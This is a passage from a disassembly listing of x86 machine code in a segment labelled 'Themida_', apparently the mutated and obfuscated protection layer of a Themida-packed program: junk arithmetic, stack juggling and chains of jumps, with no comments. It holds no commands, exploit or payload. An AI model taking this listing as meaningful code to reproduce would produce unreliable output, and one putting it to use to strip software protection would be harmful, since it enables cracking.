jmp loc_5A59C0
; ---------------------------------------------------------------------------
loc_5A71C0: ; CODE XREF: Themida_:005A51DDj
pop eax
push ecx
mov cl, 9Ch
not cl
or cl, 8Dh
add cl, 0D2h
jmp loc_5A54C8
; ---------------------------------------------------------------------------
loc_5A71D1: ; CODE XREF: Themida_:005AEBCBj
mov eax, [esp]
add esp, 4
jmp loc_59B41B
; ---------------------------------------------------------------------------
loc_5A71DC: ; CODE XREF: Themida_:005ABC37j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A71E1: ; CODE XREF: Themida_:005A8B2Cj
mov esp, [esp]
jmp loc_5A6CC1
; ---------------------------------------------------------------------------
loc_5A71E9: ; CODE XREF: Themida_:005A41DAj
dec cl
jno loc_59E4E7
neg cl
jns loc_5A7C8A
inc cl
jmp loc_5AF557
; ---------------------------------------------------------------------------
loc_5A7200: ; CODE XREF: Themida_:0059FA9Cj
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A5C5C
; ---------------------------------------------------------------------------
loc_5A721D: ; CODE XREF: Themida_:005A9481j
mov edx, ecx
pop ecx
dec edx
add edx, 61F4E6A2h
jmp loc_5AE73F
; ---------------------------------------------------------------------------
loc_5A722C: ; CODE XREF: Themida_:0059BCDEj
pop ebx
jmp loc_5A0C1D
; ---------------------------------------------------------------------------
loc_5A7232: ; CODE XREF: Themida_:005A5C8Bj
add edx, edi
push 1087h
mov [esp], eax
mov eax, 2831021Fh
neg eax
push 401Fh
jmp loc_59BF8C
; ---------------------------------------------------------------------------
loc_5A724D: ; CODE XREF: Themida_:0059ED27j
sub ecx, 0A4C1C42h
jmp loc_5A475F
; ---------------------------------------------------------------------------
loc_5A7258: ; CODE XREF: Themida_:005A09E1j
mov ch, al
mov eax, [esp]
push edx
mov edx, esp
jmp loc_5AD4B3
; ---------------------------------------------------------------------------
loc_5A7265: ; CODE XREF: Themida_:0059B85Aj
push ecx
mov ecx, esp
jmp loc_5A658E
; ---------------------------------------------------------------------------
loc_5A726D: ; CODE XREF: Themida_:0059BDF8j
or eax, eax
jnz loc_59DB9D
push esi
push 6BC77F23h
mov esi, [esp]
push ebp
jmp loc_5A509D
; ---------------------------------------------------------------------------
loc_5A7284: ; CODE XREF: Themida_:005A69A9j
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_59D285
; ---------------------------------------------------------------------------
loc_5A7295: ; CODE XREF: Themida_:005A4340j
push esp
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push ebp
jmp loc_5A2C03
; ---------------------------------------------------------------------------
loc_5A72AF: ; CODE XREF: Themida_:005ADB5Fj
add esp, 4
sub ebx, esi
pop esi
push dword ptr [esp]
jmp loc_59A240
; ---------------------------------------------------------------------------
loc_5A72C0: ; CODE XREF: Themida_:005AB4EBj
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_5A0CC2
; ---------------------------------------------------------------------------
loc_5A72D7: ; CODE XREF: Themida_:0059EBABj
neg esi
not esi
push edx
mov edx, 6F5D28EFh
add esi, edx
jmp loc_5ABFF0
; ---------------------------------------------------------------------------
loc_5A72E8: ; CODE XREF: Themida_:005A507Aj
mov ch, 0A1h
xor ch, ah
mov eax, [esp]
add esp, 4
push eax
mov al, 0BCh
inc al
sub al, 1Dh
jmp loc_599FD2
; ---------------------------------------------------------------------------
loc_5A72FE: ; CODE XREF: Themida_:005AC1D7j
shl ebx, 3
add ebx, 0CE6A6F7Bh
jmp loc_59BA7F
; ---------------------------------------------------------------------------
loc_5A730C: ; CODE XREF: Themida_:00599702j
; Themida_:0059E751j
pop edx
jmp loc_5AC931
; ---------------------------------------------------------------------------
loc_5A7312: ; CODE XREF: Themida_:005AB060j
mov esi, esp
jmp loc_5A829D
; ---------------------------------------------------------------------------
loc_5A7319: ; CODE XREF: Themida_:005A13FDj
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ecx
mov ecx, 44E770EBh
mov ebx, ecx
jmp loc_59EBA1
; ---------------------------------------------------------------------------
loc_5A733D: ; CODE XREF: Themida_:005ACBBFj
mov ebx, 38h
push 4B3h
mov [esp], ebx
jmp loc_5A7AB4
; ---------------------------------------------------------------------------
loc_5A734F: ; CODE XREF: Themida_:005AF8D6j
mov [esp], eax
mov eax, esi
jmp loc_59B431
; ---------------------------------------------------------------------------
loc_5A7359: ; CODE XREF: Themida_:005A2BEBj
dec ebx
jp loc_5A0E02
add ebx, 362F79C6h
mov edi, ebx
pop ebx
jmp loc_5ACDF7
; ---------------------------------------------------------------------------
pop edx
loc_5A736F: ; CODE XREF: Themida_:005AA95Dj
mov edx, esp
push ebp
mov ebp, 4
jmp loc_59CD60
; ---------------------------------------------------------------------------
loc_5A737C: ; CODE XREF: Themida_:005A8CE0j
sub ebx, 5EA10964h
push 7B8Dh
mov [esp], esi
mov esi, 2984165Bh
jmp loc_5AD6F8
; ---------------------------------------------------------------------------
loc_5A7394: ; CODE XREF: Themida_:005AD1C7j
pop ecx
push edi
sub esp, 4
mov [esp], esi
mov esi, 0FFB0DC0h
shl esi, 4
push edx
mov edx, 734D2461h
or esi, edx
jmp loc_59FF00
; ---------------------------------------------------------------------------
loc_5A73B1: ; CODE XREF: Themida_:0059C21Ej
mov dl, bl
push eax
push ebx
mov bl, dl
mov ah, bl
jmp loc_5AA04C
; ---------------------------------------------------------------------------
loc_5A73BE: ; CODE XREF: Themida_:005A762Aj
mov edi, [esp]
add esp, 4
add ebx, ebp
jmp loc_5A7043
; ---------------------------------------------------------------------------
loc_5A73CE: ; CODE XREF: Themida_:0059E3ECj
add esi, 2942788Dh
sub esi, 5D0740DEh
push 5766h
mov [esp], edx
mov edx, 0CC6EEDCFh
jmp loc_59ADEC
; ---------------------------------------------------------------------------
loc_5A73EC: ; DATA XREF: Themida_:005988F4o
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_5A1015
; ---------------------------------------------------------------------------
loc_5A73FA: ; CODE XREF: Themida_:0059CFEDj
push ebp
push edi
mov edi, 20EB552Bh
mov ebp, edi
pop edi
sub ebp, 11426D74h
add ebp, 65631F6Fh
push edx
mov edx, 21303F52h
shl edx, 1
dec edx
add edx, 0FC0335EFh
jmp loc_5ACF8D
; ---------------------------------------------------------------------------
loc_5A7424: ; CODE XREF: Themida_:005A4686j
xor edi, 52066475h
mov ecx, edi
jmp loc_5AC83E
; ---------------------------------------------------------------------------
loc_5A7431: ; CODE XREF: Themida_:loc_5A5985j
push ebx
mov ebx, 343D51B1h
shl ebx, 7
add ebx, 41DA3701h
jmp loc_5A5C57
; ---------------------------------------------------------------------------
loc_5A7445: ; CODE XREF: Themida_:005AD3C9j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], esp
push 0EAh
jmp loc_5AFD80
; ---------------------------------------------------------------------------
loc_5A7458: ; CODE XREF: Themida_:005AE0D0j
add edx, 0C92032E3h
jmp loc_5A54EC
; ---------------------------------------------------------------------------
loc_5A7463: ; CODE XREF: Themida_:005AA9CBj
push esi
mov esi, 2D2521EBh
push ebp
mov ebp, 2526775Bh
add ebx, 214A5A67h
jmp loc_5AF0A1
; ---------------------------------------------------------------------------
loc_5A747A: ; CODE XREF: Themida_:0059C35Fj
xchg ecx, [esp]
pop esp
push 71A5h
jmp loc_5A9965
; ---------------------------------------------------------------------------
loc_5A7488: ; CODE XREF: Themida_:005A0685j
pop edx
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
pop ecx
push esi
mov esi, esp
push edx
mov edx, 46200775h
neg edx
neg edx
and edx, 3E8D0B30h
jmp loc_59DF26
; ---------------------------------------------------------------------------
loc_5A74AB: ; CODE XREF: Themida_:00598BE8j
add esi, 443A4088h
add ecx, 254E24A6h
add ecx, esi
sub ecx, 254E24A6h
pop esi
pop ebx
xchg ecx, [esp]
jmp loc_5AE5F4
; ---------------------------------------------------------------------------
loc_5A74C9: ; CODE XREF: Themida_:005AE074j
sub esi, ecx
pop ecx
add esi, ebx
jmp loc_59DD0C
; ---------------------------------------------------------------------------
loc_5A74D3: ; CODE XREF: Themida_:005A7F3Bj
shl ebx, 2
sub ebx, 57003B9Ch
neg ebx
jmp loc_5ACE42
; ---------------------------------------------------------------------------
loc_5A74E3: ; CODE XREF: Themida_:005A00F6j
; Themida_:005AD52Bj
inc edx
push ebx
jmp loc_5AC513
; ---------------------------------------------------------------------------
loc_5A74EA: ; CODE XREF: Themida_:005AE5A9j
pop esi
add esi, 720D4C3Bh
push eax
jmp loc_5AA78E
; ---------------------------------------------------------------------------
loc_5A74F7: ; CODE XREF: Themida_:005AC797j
push edx
mov edx, esp
jmp loc_5A2A21
; ---------------------------------------------------------------------------
loc_5A74FF: ; CODE XREF: Themida_:005A8B7Cj
shr ebp, 1
jz loc_5AA0F2
jmp loc_59D0FE
; ---------------------------------------------------------------------------
loc_5A750C: ; CODE XREF: Themida_:005AF3A1j
or ebx, 2B3D7309h
jmp loc_59C6B2
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A7526: ; CODE XREF: Themida_:005A343Fj
; Themida_:005AFD04j
pop edx
sub esi, 46DA43BCh
push esi
not dword ptr [esp]
pop esi
and esi, 6FAE3E3Eh
dec esi
xor esi, 6AFC79CCh
jmp loc_5ADD9E
; ---------------------------------------------------------------------------
loc_5A7544: ; DATA XREF: Themida_:005986DCo
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
push 466Dh
mov [esp], esp
add dword ptr [esp], 4
pop ebp
jmp loc_5AB578
; ---------------------------------------------------------------------------
loc_5A7568: ; CODE XREF: Themida_:005A0794j
mov [esp], ebx
mov ebx, 2EFF46E5h
mov esi, 0DC4BD921h
jmp loc_5AE132
; ---------------------------------------------------------------------------
loc_5A757A: ; CODE XREF: Themida_:00599268j
push eax
push ebx
mov ebx, 46044114h
jmp loc_5A715B
; ---------------------------------------------------------------------------
loc_5A7586: ; CODE XREF: Themida_:loc_5A4F7Aj
add ecx, 70359D1Ch
and edi, ecx
jmp loc_59DF14
; ---------------------------------------------------------------------------
loc_5A7593: ; CODE XREF: Themida_:0059D01Dj
push 2C4Fh
mov [esp], ebx
mov bh, 8Eh
inc bh
jmp loc_59E80A
; ---------------------------------------------------------------------------
loc_5A75A4: ; CODE XREF: Themida_:005AEF3Ej
sub ecx, 0B74A92D7h
mov esi, ecx
jmp loc_59B3F4
; ---------------------------------------------------------------------------
loc_5A75B1: ; CODE XREF: Themida_:005A0EE1j
mov eax, esp
jmp loc_5A02ED
; ---------------------------------------------------------------------------
loc_5A75B8: ; CODE XREF: Themida_:0059D132j
; Themida_:005AF029j
mov [esp], ebp
push ebx
mov ebx, 53A13037h
push ebx
sub dword ptr [esp], 2601137h
pop ebp
jmp loc_599AC7
; ---------------------------------------------------------------------------
loc_5A75CF: ; CODE XREF: Themida_:005AAB07j
push ebx
mov ebx, 0EBD7338h
jmp loc_5AD905
; ---------------------------------------------------------------------------
loc_5A75DA: ; CODE XREF: Themida_:005A1B27j
sar dword ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A75E3: ; CODE XREF: Themida_:0059EE90j
sub ebx, 4FD109E2h
jmp loc_5A9D82
; ---------------------------------------------------------------------------
loc_5A75EE: ; CODE XREF: Themida_:00598A38j
add esi, eax
pop eax
mov ecx, [esp]
jmp loc_59CE4E
; ---------------------------------------------------------------------------
loc_5A75F9: ; CODE XREF: Themida_:005A56B2j
; Themida_:005A8F7Cj
shr edi, 1
jnz loc_5A575F
or edi, 152627D7h
jmp loc_5A9A0B
; ---------------------------------------------------------------------------
sub esp, 4
loc_5A760F: ; CODE XREF: Themida_:005A27BDj
mov esp, [esp]
cmp ecx, eax
pushf
jmp loc_5AE058
; ---------------------------------------------------------------------------
loc_5A761A: ; CODE XREF: Themida_:005AE8EEj
push 23FFh
push esp
pop dword ptr [esp]
jmp loc_598B23
; ---------------------------------------------------------------------------
loc_5A7628: ; CODE XREF: Themida_:005A68C3j
mov ebp, edi
jmp loc_5A73BE
; ---------------------------------------------------------------------------
loc_5A762F: ; CODE XREF: Themida_:00598E04j
push edx
mov edx, 577F3EF0h
not edx
sub edx, 74B15EE2h
mov ebp, edx
jmp loc_5AD26B
; ---------------------------------------------------------------------------
loc_5A7644: ; CODE XREF: Themida_:005A7CF6j
mov ecx, 3CA029B4h
jmp loc_5A82E2
; ---------------------------------------------------------------------------
loc_5A764E: ; CODE XREF: Themida_:005A5613j
jmp loc_5AF79E
; ---------------------------------------------------------------------------
loc_5A7653: ; CODE XREF: Themida_:005AB3DFj
sub esp, 4
mov [esp], esi
jmp loc_5A95EA
; ---------------------------------------------------------------------------
loc_5A765E: ; CODE XREF: Themida_:005A8454j
push dword ptr [esp]
jmp loc_59E3A0
; ---------------------------------------------------------------------------
loc_5A7666: ; CODE XREF: Themida_:005A776Fj
shl eax, 6
jp loc_599FF2
inc eax
jmp loc_5A6489
; ---------------------------------------------------------------------------
mov bh, ah
pop eax
push eax
loc_5A7679: ; CODE XREF: Themida_:005AC3C4j
pop eax
mov dl, bh
jmp loc_5992E8
; ---------------------------------------------------------------------------
loc_5A7681: ; CODE XREF: Themida_:005AF1B4j
pop esp
pop dword ptr [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_5AA5C0
; ---------------------------------------------------------------------------
loc_5A7693: ; CODE XREF: Themida_:005A4893j
sub esp, 4
mov [esp], edi
push ecx
mov ecx, 4
jmp loc_59D3F2
; ---------------------------------------------------------------------------
loc_5A76A7: ; CODE XREF: Themida_:005A4A74j
and edx, 34936822h
add edx, 0EF67F7E4h
xor ecx, edx
jmp loc_5A16C4
; ---------------------------------------------------------------------------
loc_5A76BA: ; CODE XREF: Themida_:005A247Ej
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_59FB45
; ---------------------------------------------------------------------------
loc_5A76CB: ; CODE XREF: Themida_:0059D255j
push eax
jmp loc_5AD543
; ---------------------------------------------------------------------------
loc_5A76D1: ; CODE XREF: Themida_:005AC6DAj
sub ebx, 39B30B1Fh
xor ebx, 167F5288h
jnp loc_59C829
dec ebx
xor ebx, 13FD51D0h
mov edx, esi
push esi
loc_5A76ED: ; CODE XREF: Themida_:005A11C3j
push ecx
mov cx, 0D52h
push cx
not word ptr [esp]
pop cx
jmp loc_59EE95
; ---------------------------------------------------------------------------
loc_5A76FF: ; CODE XREF: Themida_:005A066Cj
not edx
sub edx, 310C1FEBh
sub eax, edx
push dword ptr [esp]
pop edx
jmp loc_59AAEA
; ---------------------------------------------------------------------------
loc_5A7712: ; CODE XREF: Themida_:005A5B98j
; Themida_:005AEEFEj
mov ah, ch
push ebx
mov bh, ah
mov dh, bh
pop ebx
push dword ptr [esp]
pop eax
add esp, 4
mov bh, dh
pop edx
pop ecx
pop edx
xor bh, 41h
add cl, bh
jmp loc_5AD30C
; ---------------------------------------------------------------------------
loc_5A7733: ; CODE XREF: Themida_:loc_5A5C3Cj
xor ah, 5
push 7878h
jmp loc_59BCAD
; ---------------------------------------------------------------------------
loc_5A7740: ; CODE XREF: Themida_:0059F241j
mov ecx, 4
push ebp
mov ebp, 51FD46EBh
sub esi, ebp
pop ebp
add esi, ecx
push ebp
mov ebp, 7F6A7200h
or ebp, 61F90402h
shl ebp, 5
jmp loc_5AF312
; ---------------------------------------------------------------------------
loc_5A7764: ; CODE XREF: Themida_:005A026Dj
mov [esp], eax
mov eax, 636E59D7h
shl eax, 5
jz loc_5A7666
shl eax, 6
jp loc_59B287
inc eax
jo loc_5999BF
shl eax, 5
mov cl, ch
loc_5A778A: ; CODE XREF: Themida_:005A873Fj
sub ecx, edx
jmp loc_5AAADE
; ---------------------------------------------------------------------------
loc_5A7791: ; CODE XREF: Themida_:005A66D4j
xor ebx, 0D381BFFh
push ebx
mov ebx, 4ACF5386h
and ebx, 52984D7Dh
xor ebx, 686E232Ch
add esi, ebx
pop ebx
jmp loc_5A4DD2
; ---------------------------------------------------------------------------
loc_5A77B1: ; CODE XREF: Themida_:005A6A5Dj
xchg edi, [esp]
mov esp, [esp]
or edx, eax
jmp loc_5A8018
; ---------------------------------------------------------------------------
loc_5A77BE: ; DATA XREF: Themida_:0059883Co
lodsb
jmp loc_59A688
; ---------------------------------------------------------------------------
loc_5A77C4: ; CODE XREF: Themida_:005A8A35j
jmp loc_59F685
; ---------------------------------------------------------------------------
loc_5A77C9: ; CODE XREF: Themida_:0059E953j
xor edx, 5414589Ch
jz loc_5AD329
xor edx, 463A3169h
jle loc_5ADAD2
add edx, 4DB90B57h
jz loc_5A4863
jmp loc_5A2D7E
; ---------------------------------------------------------------------------
loc_5A77F2: ; CODE XREF: Themida_:005AA8CBj
js loc_59CF45
xor esi, 2DDB5F7Eh
xor esi, 302E7A90h
jmp loc_5A8BFD
; ---------------------------------------------------------------------------
loc_5A7809: ; CODE XREF: Themida_:005A93B2j
pop edi
push edx
pop ecx
jmp loc_5A370E
; ---------------------------------------------------------------------------
loc_5A7811: ; CODE XREF: Themida_:005A687Cj
neg eax
dec eax
xor eax, 20382EADh
shr eax, 3
jmp loc_5A2E83
; ---------------------------------------------------------------------------
loc_5A7821: ; CODE XREF: Themida_:005A3059j
mov ebx, [esp]
add esp, 4
xchg ecx, [esp]
mov edi, [esp]
add esp, 4
xor [esp], edi
xor edi, [esp]
xor [esp], edi
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A7841: ; CODE XREF: Themida_:005AB39Aj
pop edi
jmp loc_5A8332
; ---------------------------------------------------------------------------
loc_5A7847: ; CODE XREF: Themida_:00598DD8j
; Themida_:0059D20Aj
push edx
mov edx, 51D4069Dh
jmp loc_5AF8DB
; ---------------------------------------------------------------------------
loc_5A7852: ; CODE XREF: Themida_:005AA997j
and bl, 70h
jmp loc_59982C
; ---------------------------------------------------------------------------
loc_5A785A: ; CODE XREF: Themida_:005A1CA5j
push ebx
mov bh, ch
mov al, bh
jmp loc_59EDE9
; ---------------------------------------------------------------------------
loc_5A7864: ; CODE XREF: Themida_:005AE32Ej
dec edi
add edi, 0FFFFFFFFh
xor edi, 0C6F88E8Dh
jmp loc_59CA91
; ---------------------------------------------------------------------------
loc_5A7873: ; CODE XREF: Themida_:0059A5F4j
add edi, ebx
push eax
jmp loc_5A6A54
; ---------------------------------------------------------------------------
loc_5A787B: ; CODE XREF: Themida_:005AADE4j
mov edx, ebx
jmp loc_59E0C4
; ---------------------------------------------------------------------------
loc_5A7882: ; CODE XREF: Themida_:loc_5A5C30j
add edi, 0A8312E9h
mov esi, edi
pop edi
mov ecx, 3D77450Ah
jmp loc_5A2C4C
; ---------------------------------------------------------------------------
loc_5A7895: ; CODE XREF: Themida_:00599029j
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
push 4994h
mov [esp], ecx
push 2D23h
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push edx
mov edx, 4
add ecx, 7FDD34B9h
push edx
mov edx, 6FB80F9Ch
shl edx, 6
sub edx, 0A517A003h
add ecx, edx
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5AA827
; ---------------------------------------------------------------------------
loc_5A78E9: ; CODE XREF: Themida_:0059DBA0j
push dword ptr [esp]
jmp loc_598EBD
; ---------------------------------------------------------------------------
loc_5A78F1: ; CODE XREF: Themida_:005A3D4Dj
xchg ebp, [esp]
mov esp, [esp]
or edx, eax
jmp loc_5A2C1A
; ---------------------------------------------------------------------------
loc_5A78FE: ; CODE XREF: Themida_:005A2B41j
add dword ptr [esp], 0AE2429Dh
pop eax
jmp loc_5AC920
; ---------------------------------------------------------------------------
loc_5A790B: ; CODE XREF: Themida_:0059D13Dj
; Themida_:0059F32Aj
pop ebp
add edi, ebx
add edi, 0CB305C7h
jmp loc_59AF63
; ---------------------------------------------------------------------------
loc_5A7919: ; CODE XREF: Themida_:005A87EBj
push ecx
push 3082757Ah
pop ecx
push edx
jmp loc_59DC94
; ---------------------------------------------------------------------------
loc_5A7926: ; CODE XREF: Themida_:0059A7D0j
mov esp, [esp]
sub edi, 0EE41626h
add edi, edx
add edi, 0EE41626h
jmp loc_5A19DC
; ---------------------------------------------------------------------------
loc_5A793C: ; CODE XREF: Themida_:005A1DA2j
; Themida_:loc_5A324Aj
jmp loc_59E8FC
; ---------------------------------------------------------------------------
loc_5A7941: ; CODE XREF: Themida_:005AB16Bj
sub ecx, 77257653h
pop edi
push ecx
pop ebp
mov ecx, [esp]
add esp, 4
and eax, ebp
jmp loc_5AE816
; ---------------------------------------------------------------------------
loc_5A795A: ; CODE XREF: Themida_:005A98C9j
push small 4F77h
mov [esp], ax
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A7967: ; CODE XREF: Themida_:0059E868j
neg edi
js loc_5AD9D7
jmp loc_5A88DB
; ---------------------------------------------------------------------------
inc dh
xor dh, 23h
xor al, dh
push esp
loc_5A797C: ; CODE XREF: Themida_:005A6397j
mov ecx, [esp]
add esp, 4
push 7A89h
mov [esp], edx
push dword ptr [esp+4]
jmp loc_5A6CFD
; ---------------------------------------------------------------------------
loc_5A7993: ; CODE XREF: Themida_:005A1F90j
xchg esi, [esp]
pop esp
push 495h
mov [esp], ebx
push eax
sub dword ptr [esp], 7CB44DC6h
pop ebx
push ecx
mov ecx, esp
sub esp, 4
jmp loc_59AAF4
; ---------------------------------------------------------------------------
loc_5A79B3: ; CODE XREF: Themida_:005A5BB2j
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_5A9F1A
; ---------------------------------------------------------------------------
loc_5A79C7: ; CODE XREF: Themida_:005A0566j
xor eax, ecx
pop ecx
sub esp, 4
mov [esp], ebx
mov ebx, 66B420A1h
and eax, ebx
pop ebx
or eax, 2F40389Ch
jmp loc_59B833
; ---------------------------------------------------------------------------
loc_5A79E2: ; CODE XREF: Themida_:0059C006j
; Themida_:0059F4BDj
pop edx
add [esp+4], ebp
jmp loc_5A6157
; ---------------------------------------------------------------------------
loc_5A79EC: ; CODE XREF: Themida_:005A9B19j
jns loc_59BC85
xor dl, 8Ah
jmp loc_59C254
; ---------------------------------------------------------------------------
xchg ebp, [esp]
pop esp
loc_5A79FE: ; CODE XREF: Themida_:005994A9j
sub esi, 5C002DD0h
neg esi
add esi, 421F1E65h
sub esi, 2C9597DEh
jmp loc_5AB12E
; ---------------------------------------------------------------------------
loc_5A7A17: ; CODE XREF: Themida_:005A483Ej
pop eax
push edi
mov edi, 4
jmp $+5
add eax, edi
jmp loc_59A070
; ---------------------------------------------------------------------------
loc_5A7A2A: ; CODE XREF: Themida_:005A1EA6j
jmp loc_5A3684
; ---------------------------------------------------------------------------
loc_5A7A2F: ; CODE XREF: Themida_:005A6683j
add esp, 4
jmp loc_59A541
; ---------------------------------------------------------------------------
loc_5A7A3A: ; CODE XREF: Themida_:005A4DC0j
pop esp
mov [esp], eax
sub esp, 4
mov [esp], edi
push 63F77192h
pop edi
dec edi
jmp loc_5AF557
; ---------------------------------------------------------------------------
loc_5A7A50: ; CODE XREF: Themida_:005A10A3j
mov ebp, [esp]
add esp, 4
push dword ptr [esp]
pop eax
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
sub esp, 4
mov [esp], ebx
mov ebx, 7DF51A37h
add ebx, 820AE5CDh
add esi, 4D3318CCh
sub esi, ebx
sub esi, 4D3318CCh
jmp loc_5A4713
; ---------------------------------------------------------------------------
loc_5A7A95: ; CODE XREF: Themida_:0059AD21j
; Themida_:005A52A1j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A7A9A: ; CODE XREF: Themida_:0059D45Ej
mov edx, esi
push dword ptr [esp]
pop esi
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_598F74
; ---------------------------------------------------------------------------
loc_5A7AB4: ; CODE XREF: Themida_:005A734Aj
xor dword ptr [esp], 6FCE04D3h
push dword ptr [esp]
push dword ptr [esp]
pop edx
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add esp, 4
push esi
mov esi, 6FCE04D3h
xor edx, esi
jmp loc_59B82D
; ---------------------------------------------------------------------------
loc_5A7AE5: ; CODE XREF: Themida_:005AD8D3j
add esp, 4
push ebx
jmp loc_5AF0E3
; ---------------------------------------------------------------------------
loc_5A7AF1: ; CODE XREF: Themida_:0059C0BAj
pop ecx
push ecx
mov cl, 0BEh
not cl
neg cl
shr cl, 7
shl cl, 2
sub cl, 0A4h
sub dh, cl
pop ecx
push ecx
mov ch, bl
mov bl, dh
mov dh, ch
pop ecx
not bl
xor dh, bl
xor bl, dh
xor dh, bl
shl dh, 5
sub esp, 2
mov [esp], bx
mov bl, 0A3h
and bl, 37h
jmp loc_5AF936
; ---------------------------------------------------------------------------
loc_5A7B29: ; CODE XREF: Themida_:0059E457j
pop ecx
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_59AC3B
; ---------------------------------------------------------------------------
loc_5A7B41: ; CODE XREF: Themida_:005ABD44j
or dl, 4Dh
jmp loc_5A92EC
; ---------------------------------------------------------------------------
loc_5A7B49: ; CODE XREF: Themida_:0059D2E1j
neg esi
jns loc_59E805
jmp loc_59A29F
; ---------------------------------------------------------------------------
loc_5A7B56: ; CODE XREF: Themida_:0059EB9Cj
add eax, edx
push dword ptr [esp]
pop edx
add esp, 4
xchg eax, [esp]
mov esp, [esp]
push ebp
push esp
jmp loc_5ACFA7
; ---------------------------------------------------------------------------
dd 0B850E789h, 4, 5258C701h, 0E904EC83h, 0FFFF501Bh
; ---------------------------------------------------------------------------
loc_5A7B80: ; CODE XREF: Themida_:005A1654j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_5A0090
; ---------------------------------------------------------------------------
loc_5A7B8E: ; CODE XREF: Themida_:005A365Cj
pop edx
add esp, 4
push edx
mov edx, esp
jmp loc_5A5236
; ---------------------------------------------------------------------------
loc_5A7B9A: ; CODE XREF: Themida_:0059D30Bj
add eax, 7BE52628h
jmp loc_5A6AF4
; ---------------------------------------------------------------------------
loc_5A7BA4: ; CODE XREF: Themida_:005AC234j
push 5A0A0A3Eh
push dword ptr [esp]
jmp loc_5A9913
; ---------------------------------------------------------------------------
loc_5A7BB1: ; CODE XREF: Themida_:005A8F4Cj
add esp, 4
jmp loc_5A4FB6
; ---------------------------------------------------------------------------
loc_5A7BB9: ; CODE XREF: Themida_:0059B218j
push 2A65h
mov [esp], esp
push ebp
jmp loc_5A0511
; ---------------------------------------------------------------------------
loc_5A7BC7: ; CODE XREF: Themida_:0059C938j
add edx, ebx
pop ebx
pop eax
add edx, 0C84EDA3Ah
jmp loc_59A3F2
; ---------------------------------------------------------------------------
loc_5A7BD6: ; CODE XREF: Themida_:005AD071j
jnz loc_5AF3D2
xor edx, 65B5EAEFh
xor esi, edx
add dl, 6Ch
push esi
loc_5A7BE8: ; CODE XREF: Themida_:005ABDA2j
jnp loc_5A0202
shr edx, 1
jnz loc_5A7EDE
mov ebp, edi
loc_5A7BF8: ; DATA XREF: Themida_:005986F8o
mov cx, [esp]
push 5E31h
mov [esp], ebx
sub esp, 4
mov [esp], edi
push 598Ch
mov [esp], esp
jmp loc_5A6C54
; ---------------------------------------------------------------------------
loc_5A7C1A: ; CODE XREF: Themida_:loc_5A8AA9j
inc ebp
jg loc_5AC360
push eax
mov eax, 1
jmp loc_5A6A74
; ---------------------------------------------------------------------------
mov dh, cl
mov edi, ebp
loc_5A7C30: ; CODE XREF: Themida_:005A83DDj
add eax, 19D10A72h
xor eax, 36B30A8Dh
jmp loc_5A5AFD
; ---------------------------------------------------------------------------
loc_5A7C3F: ; CODE XREF: Themida_:005A2236j
add eax, 17BA1004h
add eax, ebx
sub eax, 17BA1004h
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
add eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A7C6D: ; CODE XREF: Themida_:005A2363j
mov ecx, 4
sub edi, ecx
pop ecx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
sub esp, 4
push esp
jmp loc_5AA6C3
; ---------------------------------------------------------------------------
loc_5A7C8A: ; CODE XREF: Themida_:005A71F3j
; DATA XREF: Themida_:00598734o
mov cx, [esp]
push 6765h
mov [esp], edi
push esp
pop edi
jmp loc_5A5DB9
; ---------------------------------------------------------------------------
loc_5A7C9D: ; CODE XREF: Themida_:0059AAC8j
not ebx
push ecx
mov ecx, 0D953D005h
add ebx, ecx
pop ecx
jmp loc_5A8C4D
; ---------------------------------------------------------------------------
loc_5A7CAD: ; CODE XREF: Themida_:0059AA0Dj
push cx
jmp loc_5AEFE9
; ---------------------------------------------------------------------------
loc_5A7CB4: ; CODE XREF: Themida_:005AF854j
jo loc_5A6042
neg ah
jge loc_5AC80E
xor ah, 0BCh
jle loc_5AAFB5
push edx
mov dl, 0D2h
add dl, 0D4h
dec dl
jmp loc_5A9351
; ---------------------------------------------------------------------------
loc_5A7CD8: ; CODE XREF: Themida_:0059D8EFj
mov edx, [esp]
jmp loc_5998B2
; ---------------------------------------------------------------------------
loc_5A7CE0: ; CODE XREF: Themida_:005AC7FAj
or bl, 95h
jmp loc_5A11C8
; ---------------------------------------------------------------------------
loc_5A7CE8: ; CODE XREF: Themida_:00598C33j
mov [esp], edi
